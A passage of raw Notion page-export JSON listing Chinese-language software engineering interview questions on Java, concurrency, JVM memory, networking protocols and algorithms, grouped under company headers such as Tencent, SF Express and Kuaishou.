parent_table":"block","alive":true,"ignore_block_count":true}},"11cd009c-204b-423e-b79f-bce7964bd5ab":{"value":{"id":"11cd009c-204b-423e-b79f-bce7964bd5ab","type":"bulleted_list","properties":{"title":[["进程通信方式"]]},"created_time":1712329332888,"last_edited_time":1712331343315,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"64616def-a3fb-4f70-8425-4a12302133df":{"value":{"id":"64616def-a3fb-4f70-8425-4a12302133df","type":"bulleted_list","properties":{"title":[["四种类型强制转换"]]},"created_time":1712329332888,"last_edited_time":1712331344979,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6f6909a0-d7c3-4cd1-a39d-96e97c4436f3":{"value":{"id":"6f6909a0-d7c3-4cd1-a39d-96e97c4436f3","type":"bulleted_list","properties":{"title":[["数组和链表的区别"]]},"created_time":1712329332888,"last_edited_time":1712331346882,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9e320677-8ebf-421b-9521-3afecc5f7d10":{"value":{"id":"9e320677-8ebf-421b-9521-3afecc5f7d10","type":"bulleted_list","properties":{"title":[["深拷贝和浅拷贝"]]},"created_time":1712329332889,"last_edited_time":1712331348790,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3a99a80a-7fff-4ef1-919b-5eaa7ddd2632":{"value":{"id":"3a99a80a-7fff-4ef1-919b-5eaa7ddd2632","type":"bulleted_list","properties":{"title":[["如何判断堆中哪些对象需要被回收"]]},"created_time":1712329332889,"last_edited_time":1712331350896,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0dd3cf9a-50ce-42a5-93fa-1a61c84ca0be":{"value":{"id":"0dd3cf9a-50ce-42a5-93fa-1a61c84ca0be","type":"bulleted_list","properties":{"title":[["gc回收"]]},"created_time":1712329332889,"last_edited_time":1712331354298,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6fe66cdb-e2a1-428c-b5fc-570101744798":{"value":{"id":"6fe66cdb-e2a1-428c-b5fc-570101744798","type":"bulleted_list","properties":{"title":[["新生代和老年代都用什么算法"]]},"created_time":1712329332890,"last_edited_time":1712331356680,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"59feaf40-354a-4f37-9f0b-480cec3dea1d":{"value":{"id":"59feaf40-354a-4f37-9f0b-480cec3dea1d","type":"bulleted_list","properties":{"title":[["计算某个字符串的所有排列组合,并且按字符串逆字典序排序的方式输出。"]]},"created_time":1712329332890,"last_edited_time":1712331362207,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cf94419a-a14f-4cb6-93e1-d4b12aacc8f3":{"value":{"id":"cf94419a-a14f-4cb6-93e1-d4b12aacc8f3","type":"bulleted_list","properties":{"title":[["从海量数据中找出最大的前K个数"]]},"created_time":1712329332891,"last_edited_time":1712331378346,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"cd3d225e-8ae5-4bbc-90fc-3ee833d57bd8":{"value":{"id":"cd3d225e-8ae5-4bbc-90fc-3ee833d57bd8","type":"bulleted_list","properties":{"title":[["jvm中,直接内存是什么"]]},"created_time":1712329332891,"last_edited_time":1712331390548,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d858095a-0a8a-4b28-af4b-721beecdb511":{"value":{"id":"d858095a-0a8a-4b28-af4b-721beecdb511","type":"bulleted_list","properties":{"title":[["final,finalize, finally有什么区别"]]},"created_time":1712329332892,"last_edited_time":1712331392814,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a699bd48-b851-4efc-9569-47d98aed6533":{"value":{"id":"a699bd48-b851-4efc-9569-47d98aed6533","type":"bulleted_list","properties":{"title":[["HashSet类如何实现添加元素保证不重复的"]]},"created_time":1712329332892,"last_edited_time":1712331448238,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e0d31b5f-1256-4166-83e5-b942678dbe22":{"value":{"id":"e0d31b5f-1256-4166-83e5-b942678dbe22","type":"header","properties":{"title":[["20.腾讯"]]},"created_time":1712331438223,"last_edited_time":1712335106547,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"86fd4860-c2dd-494b-9749-5427b689d3c6":{"value":{"id":"86fd4860-c2dd-494b-9749-5427b689d3c6","type":"bulleted_list","properties":{"title":[["最长递增子数组的具体数组 "]]},"created_time":1712329332892,"last_edited_time":1712331412866,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9ddd39b5-2102-4193-b801-7fcdf91d9b01":{"value":{"id":"9ddd39b5-2102-4193-b801-7fcdf91d9b01","type":"bulleted_list","properties":{"title":[["进程和线程的区别"]]},"created_time":1712329332893,"last_edited_time":1712331471455,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"1393a45e-4c24-4c23-a6a0-33d0d2af51ef":{"value":{"id":"1393a45e-4c24-4c23-a6a0-33d0d2af51ef","type":"bulleted_list","properties":{"title":[["进程通信的方式"]]},"created_time":1712329332894,"last_edited_time":1712331474021,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"3a146775-ecfe-4e2c-823b-2954dba828b7":{"value":{"id":"3a146775-ecfe-4e2c-823b-2954dba828b7","type":"bulleted_list","properties":{"title":[["多线程的实现方式"]]},"created_time":1712329332894,"last_edited_time":1712331476321,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"63483049-9df3-4685-ae99-cb85995d56a7":{"value":{"id":"63483049-9df3-4685-ae99-cb85995d56a7","type":"bulleted_list","properties":{"title":[["线程安全怎么保证"]]},"created_time":1712329332894,"last_edited_time":1712331478106,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"93ab5fc4-8af0-4dc0-bc16-8d0a6cede0cc":{"value":{"id":"93ab5fc4-8af0-4dc0-bc16-8d0a6cede0cc","type":"bulleted_list","properties":{"title":[["volatile与synchronized的区别"]]},"created_time":1712329332894,"last_edited_time":1712331482031,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"20b1bfc5-bc9b-453e-899f-d3342655c6f5":{"value":{"id":"20b1bfc5-bc9b-453e-899f-d3342655c6f5","type":"bulleted_list","properties":{"title":[["用户态和核心态的区别"]]},"created_time":1712329332895,"last_edited_time":1712331484176,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4fd1f7d2-a3e0-4f4b-adef-6ba7105ab77b":{"value":{"id":"4fd1f7d2-a3e0-4f4b-adef-6ba7105ab77b","type":"bulleted_list","properties":{"title":[["http和https的区别"]]},"created_time":1712329332895,"last_edited_time":1712331486404,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"065cd8e3-fe2e-44c8-9c3e-8f90e22e6b52":{"value":{"id":"065cd8e3-fe2e-44c8-9c3e-8f90e22e6b52","type":"bulleted_list","properties":{"title":[["http不同版本的区别"]]},"created_time":1712329332895,"last_edited_time":1712331488217,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4c3c2b82-3c51-4783-8309-8c166d9dd80f":{"value":{"id":"4c3c2b82-3c51-4783-8309-8c166d9dd80f","type":"bulleted_list","properties":{"title":[["可以使用jdk里面所有的类,随机创建一个链表,链表里面要含有100个随机的既有正数也有负数的节点。不可以自己创建链表类。"]]},"created_time":1712329332896,"last_edited_time":1712331491387,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6cc173d3-5855-4bfc-9e39-a80f40d5a2b8":{"value":{"id":"6cc173d3-5855-4bfc-9e39-a80f40d5a2b8","type":"bulleted_list","properties":{"title":[["移除上述链表中的负数"]]},"created_time":1712329332896,"last_edited_time":1712331493672,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"42d2f97f-1cb7-4b17-ab6d-d10419f10e59":{"value":{"id":"42d2f97f-1cb7-4b17-ab6d-d10419f10e59","type":"bulleted_list","properties":{"title":[["用两个线程移除上述链表中的负数"]]},"created_time":1712329332896,"last_edited_time":1712331498063,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"0d3b71e2-1323-437f-a3c6-663aff17881e":{"value":{"id":"0d3b71e2-1323-437f-a3c6-663aff17881e","type":"bulleted_list","properties":{"title":[["异或交换两个值,不可以用临时变量"]]},"created_time":1712329332897,"last_edited_time":1712331515172,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bcf14877-8d18-4695-ae1e-d0ecaf304aa0":{"value":{"id":"bcf14877-8d18-4695-ae1e-d0ecaf304aa0","type":"bulleted_list","properties":{"title":[["异或找出重复的元素:1-1000放在含有1001个元素的数组中,只有唯一的一个元素值重复,其它均只出现一次,类似于力扣上的剑指\nOffer 03. 数组中重复的数字"]]},"created_time":1712329332897,"last_edited_time":1712331517485,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"37e24c8e-5dbc-4623-b1d6-79beda93a720":{"value":{"id":"37e24c8e-5dbc-4623-b1d6-79beda93a720","type":"bulleted_list","properties":{"title":[["十年前怎么防止http的明文信息被窃取。如果黑客窃取了你加密后的东西进行传输,你该怎么办"]]},"created_time":1712329332897,"last_edited_time":1712331521986,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b3c2d502-157d-4fc3-8a08-ded46ed9a1db":{"value":{"id":"b3c2d502-157d-4fc3-8a08-ded46ed9a1db","type":"bulleted_list","properties":{"title":[["有哪些常见的加密算法"]]},"created_time":1712329332898,"last_edited_time":1712331524597,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b648f612-8941-4710-8b1d-19449b8e1af4":{"value":{"id":"b648f612-8941-4710-8b1d-19449b8e1af4","type":"bulleted_list","properties":{"title":[["网络不安全的原因有哪些"]]},"created_time":1712329332898,"last_edited_time":1712331528353,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"a1beaa2d-a1a4-4150-b940-c2d54d31212e":{"value":{"id":"a1beaa2d-a1a4-4150-b940-c2d54d31212e","type":"bulleted_list","properties":{"title":[["洪泛攻击是什么 "]]},"created_time":1712329332898,"last_edited_time":1712331533373,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b408babc-2524-47e2-9f0e-167f48915dca":{"value":{"id":"b408babc-2524-47e2-9f0e-167f48915dca","type":"text","created_time":1712331534125,"last_edited_time":1712331536107,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"431acb08-a1bf-4ead-a52c-7c1d697e97cd":{"value":{"id":"431acb08-a1bf-4ead-a52c-7c1d697e97cd","type":"header","properties":{"title":[[" 21.腾讯"]]},"created_time":1712331533373,"last_edited_time":1712335114028,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"f4fbac39-948d-4b94-8d0a-5bd9bb4b334a":{"value":{"id":"f4fbac39-948d-4b94-8d0a-5bd9bb4b334a","type":"bulleted_list","properties":{"title":[["最小公倍数,复杂度多少"]]},"created_time":1712329332898,"last_edited_time":1712331551201,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"14640a4f-cf1f-4d6e-93d0-e98a8c536708":{"value":{"id":"14640a4f-cf1f-4d6e-93d0-e98a8c536708","type":"bulleted_list","properties":{"title":[["static的静态方法能不能被继承"]]},"created_time":1712329332899,"last_edited_time":1712331553061,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"447e8f92-38ed-4870-816a-9a93b099f799":{"value":{"id":"447e8f92-38ed-4870-816a-9a93b099f799","type":"bulleted_list","properties":{"title":[["final修饰不同类,方法,基本数据类型的区别,修饰string类以后会怎么样"]]},"created_time":1712329332899,"last_edited_time":1712331555462,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d980c51c-4a48-43ad-95fd-0a755b602d48":{"value":{"id":"d980c51c-4a48-43ad-95fd-0a755b602d48","type":"bulleted_list","properties":{"title":[["事务是什么"]]},"created_time":1712329332899,"last_edited_time":1712331558442,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"9d4be6d3-f404-419d-b548-05336efbadf9":{"value":{"id":"9d4be6d3-f404-419d-b548-05336efbadf9","type":"bulleted_list","properties":{"title":[["wait和sleep的区别"]]},"created_time":1712329332900,"last_edited_time":1712331560759,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"ff1ca7be-0d14-4a46-8f26-8cc6de35778f":{"value":{"id":"ff1ca7be-0d14-4a46-8f26-8cc6de35778f","type":"bulleted_list","properties":{"title":[["面向对象的思想"]]},"created_time":1712329332900,"last_edited_time":1712331562645,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"bd200230-38fc-47ff-8ed8-ba959bf2ead2":{"value":{"id":"bd200230-38fc-47ff-8ed8-ba959bf2ead2","type":"bulleted_list","properties":{"title":[["java和c++的区别"]]},"created_time":1712329332900,"last_edited_time":1712331568444,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2cb45072-a683-41b1-a278-b3416c4e5a23":{"value":{"id":"2cb45072-a683-41b1-a278-b3416c4e5a23","type":"bulleted_list","properties":{"title":[["进程和线程的区别"]]},"created_time":1712329332901,"last_edited_time":1712331570487,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8bffbf44-ed83-4193-af9f-f450f774f03d":{"value":{"id":"8bffbf44-ed83-4193-af9f-f450f774f03d","type":"bulleted_list","properties":{"title":[["tcp和udp的区别"]]},"created_time":1712329332901,"last_edited_time":1712331576761,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"d3afc7f5-f4bc-4ab9-87e4-9c4d999a6b85":{"value":{"id":"d3afc7f5-f4bc-4ab9-87e4-9c4d999a6b85","type":"bulleted_list","properties":{"title":[["udp适用场景"]]},"created_time":1712329332901,"last_edited_time":1712331580604,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"b5a03d9b-d893-4c2d-a058-60aad7849c5a":{"value":{"id":"b5a03d9b-d893-4c2d-a058-60aad7849c5a","type":"bulleted_list","properties":{"title":[["剑指 Offer 24. 反链表"]]},"created_time":1712374378102,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"c9eb6ca8-9bad-4cca-8183-73b930fae54b":{"value":{"id":"c9eb6ca8-9bad-4cca-8183-73b930fae54b","type":"bulleted_list","properties":{"title":[["多线程里的关键字有哪些"]]},"format":{"copied_from_pointer":{"id":"542c1559-fd73-4d8d-a5b8-1c41cabb2c1c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"542c1559-fd73-4d8d-a5b8-1c41cabb2c1c"}},"bf9492d8-a398-4c58-8fb2-a3bf9d3e62ad":{"value":{"id":"bf9492d8-a398-4c58-8fb2-a3bf9d3e62ad","type":"bulleted_list","properties":{"title":[["volatile与synchronized的区别和使用场景"]]},"format":{"copied_from_pointer":{"id":"74cef613-4493-4b6e-a9c6-266516058d8b","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"74cef613-4493-4b6e-a9c6-266516058d8b"}},"2f47731c-8666-4b1d-aea2-ab9b43bf897c":{"value":{"id":"2f47731c-8666-4b1d-aea2-ab9b43bf897c","type":"bulleted_list","properties":{"title":[["除了volatile的原子性和可见性以外,还了a解一些更底层的原理么,比如怎么保证原子性和可见性的"]]},"format":{"copied_from_pointer":{"id":"9a0d0187-f021-4873-8eeb-60fd80494307","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"9a0d0187-f021-4873-8eeb-60fd80494307"}},"73fa2a21-d3b8-40cc-abf2-83ea091c5735":{"value":{"id":"73fa2a21-d3b8-40cc-abf2-83ea091c5735","type":"bulleted_list","properties":{"title":[["信号量如何交替进行的"]]},"format":{"copied_from_pointer":{"id":"4730e682-cc4d-4781-900e-ca495fc765e0","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"4730e682-cc4d-4781-900e-ca495fc765e0"}},"a20dec4b-597a-446f-a35e-4e1d55e06a32":{"value":{"id":"a20dec4b-597a-446f-a35e-4e1d55e06a32","type":"bulleted_list","properties":{"title":[["有哪些引用类型"]]},"format":{"copied_from_pointer":{"id":"cc2826ae-6a75-4a16-8d73-05d17fd4fc9c","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"cc2826ae-6a75-4a16-8d73-05d17fd4fc9c"}},"e5ee34f9-9680-4957-9230-9be2961d45dd":{"value":{"id":"e5ee34f9-9680-4957-9230-9be2961d45dd","type":"bulleted_list","properties":{"title":[["在垃圾回收时,无论内存是否充足,都会回收弱引用对象吗,WeakReference在消息机制中的怎么用的"]]},"format":{"copied_from_pointer":{"id":"31e0167f-8451-414d-a95f-a54b8e7e4367","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"31e0167f-8451-414d-a95f-a54b8e7e4367"}},"a876ca3f-63ac-4932-a152-759b6deca9c6":{"value":{"id":"a876ca3f-63ac-4932-a152-759b6deca9c6","type":"bulleted_list","properties":{"title":[["TCP的三次握手"]]},"format":{"copied_from_pointer":{"id":"0a2c36a6-af19-4d91-8477-6a9836f4a145","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"0a2c36a6-af19-4d91-8477-6a9836f4a145"}},"92fc40e8-7092-4b56-a837-88c58de3fdb4":{"value":{"id":"92fc40e8-7092-4b56-a837-88c58de3fdb4","type":"bulleted_list","properties":{"title":[["https加密的具体方式"]]},"format":{"copied_from_pointer":{"id":"c5a6ca54-0577-409a-a5ba-d76e390920bb","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"c5a6ca54-0577-409a-a5ba-d76e390920bb"}},"83ec2d6a-eb47-41a0-867d-fbd33f6bb6a1":{"value":{"id":"83ec2d6a-eb47-41a0-867d-fbd33f6bb6a1","type":"bulleted_list","properties":{"title":[["https加密协商出来的密钥的类型是什么"]]},"format":{"copied_from_pointer":{"id":"3dec7696-d8ae-470e-b4e6-75de4cd4a0cf","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378376,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"3dec7696-d8ae-470e-b4e6-75de4cd4a0cf"}},"4e183d62-7471-46d9-a34d-aa2ad2b4ee71":{"value":{"id":"4e183d62-7471-46d9-a34d-aa2ad2b4ee71","type":"bulleted_list","properties":{"title":[["SSL流程"]]},"format":{"copied_from_pointer":{"id":"7063d5e8-0b0f-44a1-85ad-125d45c5385d","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378377,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"7063d5e8-0b0f-44a1-85ad-125d45c5385d"}},"07d670d7-0e47-4fc3-87b3-8945da24ef21":{"value":{"id":"07d670d7-0e47-4fc3-87b3-8945da24ef21","type":"bulleted_list","properties":{"title":[["equals和==的区别"]]},"format":{"copied_from_pointer":{"id":"8d9781f2-48da-4b65-a5d0-052450c071c9","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378377,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"8d9781f2-48da-4b65-a5d0-052450c071c9"}},"3f74d6b9-a108-4f05-ad22-856b92a792ff":{"value":{"id":"3f74d6b9-a108-4f05-ad22-856b92a792ff","type":"bulleted_list","properties":{"title":[["讲一下hashCode方法"]]},"format":{"copied_from_pointer":{"id":"e90892f8-5a77-445f-97eb-6ce5bb04960e","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378377,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"e90892f8-5a77-445f-97eb-6ce5bb04960e"}},"edec30bb-2caa-46be-b281-c68b74d5165b":{"value":{"id":"edec30bb-2caa-46be-b281-c68b74d5165b","type":"bulleted_list","properties":{"title":[[" 合并两个有序链表 "]]},"format":{"copied_from_pointer":{"id":"4ba47cb1-c0df-4217-9d4c-88cd097980df","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1712374378377,"last_edited_time":1712374378389,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"copied_from":"4ba47cb1-c0df-4217-9d4c-88cd097980df"}},"0029afff-a0a4-4e79-9cc8-173d41a57e61":{"value":{"id":"0029afff-a0a4-4e79-9cc8-173d41a57e61","type":"text","created_time":1712329332901,"last_edited_time":1712331573448,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"6d2f71b3-3c76-4952-bb84-145dfa73329d":{"value":{"id":"6d2f71b3-3c76-4952-bb84-145dfa73329d","type":"header","properties":{"title":[["22.顺丰"]]},"created_time":1712329332902,"last_edited_time":1712335119179,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"64aa8ff6-5c53-410f-8dca-fa51cd3954d9":{"value":{"id":"64aa8ff6-5c53-410f-8dca-fa51cd3954d9","type":"bulleted_list","properties":{"title":[["http和https的区别"]]},"created_time":1712329332903,"last_edited_time":1712334581791,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2d171923-1885-4d11-b6cb-0a2322b39c28":{"value":{"id":"2d171923-1885-4d11-b6cb-0a2322b39c28","type":"bulleted_list","properties":{"title":[["Http request的几种类型"]]},"created_time":1712329332903,"last_edited_time":1712334585516,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"8ee028e9-de09-4653-a0cb-af84b64f60f8":{"value":{"id":"8ee028e9-de09-4653-a0cb-af84b64f60f8","type":"bulleted_list","properties":{"title":[["GET 和 POST 的区别"]]},"created_time":1712329332903,"last_edited_time":1712334587299,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"afc4311c-3211-4186-bc99-86b7b83c13da":{"value":{"id":"afc4311c-3211-4186-bc99-86b7b83c13da","type":"bulleted_list","properties":{"title":[["TCP和UDP,区别"]]},"created_time":1712329332904,"last_edited_time":1712334588808,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"e39f2b77-2dce-4d65-94cc-91f9347c29a3":{"value":{"id":"e39f2b77-2dce-4d65-94cc-91f9347c29a3","type":"bulleted_list","properties":{"title":[["线程安全怎么保证"]]},"created_time":1712329332904,"last_edited_time":1712334590379,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eacfb77a-126c-401c-8db8-eeb7bc090886":{"value":{"id":"eacfb77a-126c-401c-8db8-eeb7bc090886","type":"bulleted_list","properties":{"title":[["死锁产生的必要条件"]]},"created_time":1712329332904,"last_edited_time":1712334592480,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"eadc77e4-9de3-41c3-87db-a47c83f33782":{"value":{"id":"eadc77e4-9de3-41c3-87db-a47c83f33782","type":"bulleted_list","properties":{"title":[["线程的生命周期"]]},"created_time":1712329332904,"last_edited_time":1712334594157,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"2f7beb48-8132-49b2-a562-844fccbf342a":{"value":{"id":"2f7beb48-8132-49b2-a562-844fccbf342a","type":"bulleted_list","properties":{"title":[["重载和重写的区别"]]},"created_time":1712329332905,"last_edited_time":1712334601164,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"76f738ab-8a5b-441d-8399-bbdf67d806b9":{"value":{"id":"76f738ab-8a5b-441d-8399-bbdf67d806b9","type":"bulleted_list","properties":{"title":[["数组和链表的区别"]]},"created_time":1712329332905,"last_edited_time":1712334603513,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"76e0fb26-622d-4713-8890-a4505cb0245e":{"value":{"id":"76e0fb26-622d-4713-8890-a4505cb0245e","type":"bulleted_list","properties":{"title":[["HashMap原理"]]},"created_time":1712329332906,"last_edited_time":1712334620749,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"de23696f-28ca-4a6f-9007-3b5bbf04c835":{"value":{"id":"de23696f-28ca-4a6f-9007-3b5bbf04c835","type":"bulleted_list","properties":{"title":[["哈希碰撞是什么"]]},"created_time":1712329332906,"last_edited_time":1712334622404,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"c7d1a252-6b54-4c20-b8ab-a89f5b38a9c1":{"value":{"id":"c7d1a252-6b54-4c20-b8ab-a89f5b38a9c1","type":"bulleted_list","properties":{"title":[["HashMap为什么线程不安全"]]},"created_time":1712329332907,"last_edited_time":1712334627831,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"4edcef07-e7f0-4c12-8181-9c79c5e0ca29":{"value":{"id":"4edcef07-e7f0-4c12-8181-9c79c5e0ca29","type":"bulleted_list","properties":{"title":[["用什么与HashMap有关的数据结构可以实现线程安全"]]},"created_time":1712329332907,"last_edited_time":1712334630263,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"14f8465b-b1c4-4914-922c-72a4eec0e1cb":{"value":{"id":"14f8465b-b1c4-4914-922c-72a4eec0e1cb","type":"bulleted_list","properties":{"title":[["用户态和核心态的区别"]]},"created_time":1712329332907,"last_edited_time":1712334632196,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"17d5469e-c144-403e-afe1-cf2cc2a7a2d0":{"value":{"id":"17d5469e-c144-403e-afe1-cf2cc2a7a2d0","type":"bulleted_list","properties":{"title":[["tcp拥塞控制算法"]]},"created_time":1712329332908,"last_edited_time":1712334661377,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true,"ignore_block_count":true}},"97d95d0c-50d8-4b64-86c6-7f91ae84662a":{"value":{"id":"97d95d0c-50d8-4b64-86c6-7f91ae84662a","type":"header","properties":{"title":[["23.快手"]]},"created_time":1712334662328,"last_edited_time":1712335122563,"parent_id":"4d955058-b605-46cf-b242-1535b732af30","parent_table":"block","alive":true}},"b20525a4-4cb6-45b0-91b8-23562a9726ab":{"value":{"id":"b20525a4-4cb6-45b0-91b8-23562a9726ab","type":"bulleted_list","properties":{"title":[["ArrayList和LinkedList区别"]]},"created_time":171232933291